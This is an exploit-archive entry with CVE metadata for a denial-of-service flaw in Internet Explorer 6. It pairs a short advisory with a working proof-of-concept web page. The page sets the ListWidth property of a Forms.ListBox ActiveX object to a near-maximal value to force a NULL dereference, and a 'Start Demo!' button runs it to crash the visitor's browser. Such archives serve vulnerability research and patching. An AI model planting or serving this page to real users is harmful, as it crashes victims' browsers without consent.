Microsoft Internet Explorer 6 - Multiple Object ListWidth Property Denial of Service Vulnerabilities

Author: hdm
type: dos
platform: windows
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date_added: 2006-07-23 
date_updated: 2013-09-13 
verified: 1 
codes: CVE-2006-3944;OSVDB-27372 
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source: https://www.securityfocus.com/bid/19113/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {

	// Forms.ComboBox.1 is also affected
	var a = new ActiveXObject('Forms.ListBox.1');

	// NULL dereference
	a.ListWidth = 0x7ffffffe;

	// Integer overflow exception
	// a.ListWidth = 0x7fffffff;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>